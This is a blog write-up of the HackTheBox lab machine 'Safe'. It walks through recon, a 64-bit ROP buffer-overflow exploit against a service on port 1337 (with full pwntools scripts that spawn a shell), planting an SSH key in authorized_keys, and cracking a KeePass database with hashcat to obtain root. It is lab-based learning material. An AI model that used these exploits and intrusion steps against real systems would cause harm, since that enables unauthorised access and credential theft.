< Back

Safe - WriteUp

Posted on: 24 Oct 2019 | HackTheBox

safe-banner

Index


ExtRecon

You know the dance. We start with nmap.

nmap -sV -sC -oN initial -T4 10.10.10.147

22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA)
|   256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA)
|_  256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

As there’s not much to see here I visited the website. Only the Apache2 default page was shown. Maybe we can find more about this by running a script scan.

nmap --script discovery,safe,vuln -oN script -T4 10.10.10.147

In the very long output of this scan we can find this line comment out in the source-code…

'myapp' can be downloaded to analyze from here its running on port 1337

…and when you take a look at the real source code of the website we can confirm it’s there.

safe-comment-myapp

[Top]

Explore

Let’s see if Port 1337 is indeed open:

nc-port-1337

Looks good. When we enter some values the application will echo them back to us.

Let’s try to download “myapp” from the root of the website. safe-myapp-download

So, as you might have guessed by now, this smells like a buffer overflow challenge. At first I was very excited. An easy rated box with a bof? What an opportunity to test myself. Well, the excitement disappeared after running checksec.

safe-checksec

First of all it’s a 64Bit binary. Never played with 64Bit buffer overflows. Second it has the NX-Bit set. Which means the Stack is not executable.

In order to overcome this, we need to use a exploitation-technique known as ROP - Return Oriented Programming. But, it’s an easy rated box - this can’t be too hard - right?

[Top]

Exploit

I had to try it anyways. I spent at least two days trying to figure out how to write an exploit for this. But other than fuzzing the program, finding the offset and such things - I was not able to accomplish much.

Then I got a tip. “There’s a tool called ROPStar”. I tracked it down and from the description it looked like cheating. You give it a binary or an IP-Address and it will autoexploit it for you. I downloaded the tool and gave it a shot.

But, and that’s very important to note here: I set myself a goal to root the box and use the flag to read one of the Hackplayers writeups and analyze the exploit until I can do it myself.

So - let’s do it the lazy way first.

python ropstar.py ~/HTB/Boxes/Safe/exploit/myapp

This was all to get a local shell on my own system.

python ropstar.py ~/HTB/Boxes/Safe/exploit/myapp -rhost 10.10.10.147 -rport 1337

And this to get a shell to the box.

safe-ropstar-shell

It took no more than 5 seconds. That’s amazing - but not the way I want to solve that box. I can do better than this. After rooting the box and reading the writeup I replicated the exploit. I sort of understood what was going on. But I was still not satisfied. So I started and solved most of the 32Bit ROPEmporium Challenges which are dedicated to teach ROP techniques.

I came back to safe just to fail again. I checked the “copied” exploit - but I couldn’t understand it anymore. I was frustrated. So I sat down again - and analyzed the exploit from the writeup again. Until I understood it, found my mistake and came to the conclusion that I didn’t like the method presented in the writeup. ;D

I found my own solution. Which I find more intuitive. So here is my solution:

First we need to crash the program to check if it’s vulnerable. I didn’t used a special fuzzer for that. I just tried a couple of inputs until I found a crash. I used 300 Bytes to generate the crash in the screenshot.

safe-segfault

Before we can start working on the exploit, we need to find the exact input till we overwrite RSP.

I had to use gdb-peda's pattern_create for this. I don’t know why, but msf-pattern_create produced a pattern that I couldn’t use to find the offset. I suspected bad characters and tried to create a custom patter-set. Didn’t work either. If you know what’s going on here - let me know.

gdb-peda$ pattern_create 300 pattern.txt

Next we start myapp with gdb-peda and throw our pattern in.

safe-fuzz

If you don’t get a crash you might need to change your peda.py file. At the very bottom are a couple of settings. Change it from: peda.execute("set follow-fork-mode child") to: peda.execute("set follow-fork-mode parent")

Otherwise the application should crash and RSP has a value of: jAA9AAOAAkAAPAAlAA. We can use this pattern to find the offset.

gdb-peda$ pattern_offset jAA9AAOAAkAAPAAlAA
jAA9AAOAAkAAPAAlAA found at offset: 120

Let’s start crafting a first proof of concept and see if we can control RIP.

#!/usr/bin/python3
from pwn import *

payload = b'A' * 120           # offset to RIP
payload += p64(0x42424242)      # RIP
payload += b'C' * 170           # some more junk, because why not

f = open("payload.txt", "wb")
f.write(payload)

This script needs the pwntools library. For now we just use the p64() function as a helper to convert the addresses we will use for our ROPChain to little endian and also to the propper byte sequence.

Other than that we just fill up the buffer, overwrite RIP and write this to a file. Let’s start the application again in gdb-peda and redirect the file’s content into it.

safe-poc

Success. RIP has been overwritten with an value we control. safe-poc-ripoverwrite

But what now? Well, as I’ve said, when the NX-Bit is set, we can’t jump into the stack to execute our code. But we can still jump around in the existing code. We just need to find some special instructions within the application, chain them together and make the application do things, it was never intended to do.

Let’s get an overview of the functions in the program. objdump is right tool for that. The -M intel parameter changes the display settings to “intel” syntax. I find it easier to read.

objdump -M intel -d myapp

Here you can see the main() function of the program. safe-obj-main

And here’s another interesting function called test(). safe-obj-test

In the function main() we can see that some other functions are being called, system() for example. Our goal is now to call system() and while doing so, provide our own arguments like /bin/sh. In 64-Bit applications, arguments are provided via the CPU-Registers. You need to use rdi for your first, rsi for your second and rdx for your third argument. We just want to pass the /bin/sh string, so just one register is needed: rdi. The system() call will be stored in one of the general purpose registers. I’ll come back to this in a second. If this is successful, we would get a shell.

So, let’s take some notes: First we need to find some instructions that pop values we put on the stack, into the registers. I used ropper for this.

ropper will search for special instructions that end with a ret or return instruction. Hence the name Return Oriented Programming. After the chain is executed, it will return and will execute the next instruction stored in RIP. Which we still control.

ropper -f myapp | grep pop

safe-ropper-pop

Our grep already filtered the output for a couple of pop gadgets. But which one should we use? Well, we need to jump to the register in with we will store the system() address. So let’s start with finding a jmp and see if the jmp can tell us which pop gadgets we should use.

ropper found no suitable jmp for my situation. So I went back to objdump and found a jmp r13 in the test() function.

safe-jmp-r13

This means we need a pop r13 gadget to store system() and later jmp r13 to call it. In the ropper output you can see a pop r13. Note that there are two more pop's before the ret.

safe-obj-test

You’ll see later why this is important.

We need also a way to put /bin/sh into rdi. For this, the gadget mov rdi,rsp would be ideal. We can find such an instruction with objdump in the test() function.

safe-mem-system

Last but not least, we need the memory address of system(). safe-mem-system

Let’s check what we’ve got so far.

system()             @ 0x401040
mov rdi, rsp         @ 0x401156
jmp r13              @ 0x401159
pop r13, r14, r15    @ 0x401206

Now we need to put all of them in the right order. First we will send our 120 Bytes of junk. Then the address of the pop r13 instruction. It will pop the first value from the stack into r13. We want system() to be in r13. So the address to system() will be next. After pop r13, two more pop's will take place. We need to place two dummy values on the stack to account for that. Now we need to prepare the arguments for the system() call. So the address to mov rdi, rsp will be next, followed by the string /bin/sh\x00.

You might have noticed that the jmp r13 doesn’t need to be put into our rop-chain directly. It’s the next instruction after mov rdi, rsp and will be executed after that. How nice. ;)

Let’s put all of this into an exploit script.

#!/usr/bin/python3
from pwn import *

# Stage 0
junk = b'A' * 120 # Overflow
cmd = b'/bin/sh\x00' # Argument

# ROP
pop = p64(0x401206) # pop r13
mov = p64(0x401156) # mov rdi, rsp

# RCE
fake = p64(0x000000) # dummy value for pop r14 and pop r15
system = p64(0x401040) # system address


# Create Payload
payload = junk + pop + system + fake + fake + mov + cmd

f = open("payload.txt", "wb")
f.write(payload)

After running the script we will have our payload in a text file called “payload.txt”. You could try to redirect the contents into the application like so:

./myapp < payload.txt

But you will just get a segfault. Why is that? Well, it took me a while to find an answer for that - but here it is. When you hit enter on the above command, the application will start up and get to the point where you can feed it data via stdin. The exploit code will be copied into the buffer, will do it’s thing and start up a shell. But, because the stdin will be closed now (no more data is in the text file) the shell will close and the function will return and since we corrupted the stack it will segfault. So our task is to keep the shell alive by holding stdin open.

The following command will do just that.

(cat payload.txt; cat) | ./myapp

The first “cat payload.txt” will feed the exploit into the application. When the shell is up and running, the second cat kicks in. Because we didn’t give it any arguments it will be just an interactive echo tool. Try it yourself. Start cat without parameters and enter something. Whatever will be entered, cat will echo it back. So you feed data in via stdin and cat will echo it back via stdout. The pipe will transport that to the application which is now your shell. Elegant right?

safe-mem-system

But, can we use this technique remotely too? Sure we can. We will replace the local application with nc and connect to the service that’s running on the HackTheBox machine.

safe-mem-system

We are in! :) And we also have access to the user.txt. safe-mem-system

Between rooting this box and writing this writeup I played a lot with this binary. This is why I also have a pwntools version of this exploit. This version doesn’t need the cat magic.

#!/usr/bin/python3
from pwn import *

# PwnTools
context(arch = 'amd64', os = 'linux', terminal = ['tmux','splitw', '-h'])
#p = process("./myapp")
#gdb.attach(p, "b *0x401206")
p = remote("10.10.10.147", 1337)

# Stage 0
junk = b'A' * 120 # Overflow
cmd = b'/bin/sh\x00' # RCE

# ROP
pop = p64(0x401206)
jmp = p64(0x401156)

# RCE
fake = p64(0x000000)
system = p64(0x401040)


# Create Payload
payload = junk + pop + system + fake + fake + jmp + cmd

p.sendline(payload)
p.interactive()

[Top]

Interal Recon

Phew. That was quite a trip. But the last part is super easy. In the user folder, next to the user.txt we already see a keepass-database and a bunch of files..

If you don’t know keepass: It’s a password manager. Keepass, like many other password managers, have a feature where you can enter your password and a keyfile. Which can be anything. A text file. An image. Something that won’t change. And it will be used as a second factor to the password.

Seems logical that we try cracking the keepass-database before anything else.

[Top]

Privilege Escalation

To download the files, we first need better access. Let’s deploy a ssh-key on the box and login with a real shell.

First we generate a new key and get the public part of it:

safe-mem-system

Then we echo it over into the /home/user/.ssh/authorized_keys file.

safe-mem-system

Now we can login but also download all files.

scp -i /root/HTB/Boxes/Safe/id_rsa -r user@10.10.10.147:/home/user/ /root/HTB/Boxes/Safe/Download

Now we need to extract the hash from the database and also provide the images as a second factor.

keepass2john -k $Images

We will use hashcat to crack the hashes. Hashcat doesn’t need the “MyPassword” string so I removed it and started cracking.

hashcat -m 13400 -a 0 -w 1 hashes.txt /usr/share/wordlists/rockyou.txt --force

In my case the 3rd key was correct and the password is: bullshit.

[Top]

Root Flag

Armed with this “password” we can open the password-safe and get the password for root.

safe-mem-system

If you don’t have keepass installed on your box apt install keepassx will do the trick.

A simple su - get’s us the root flag.

safe-mem-system

Box solved. But most important - I learned a lot of new things! :)

Till next time!

x41

[Top]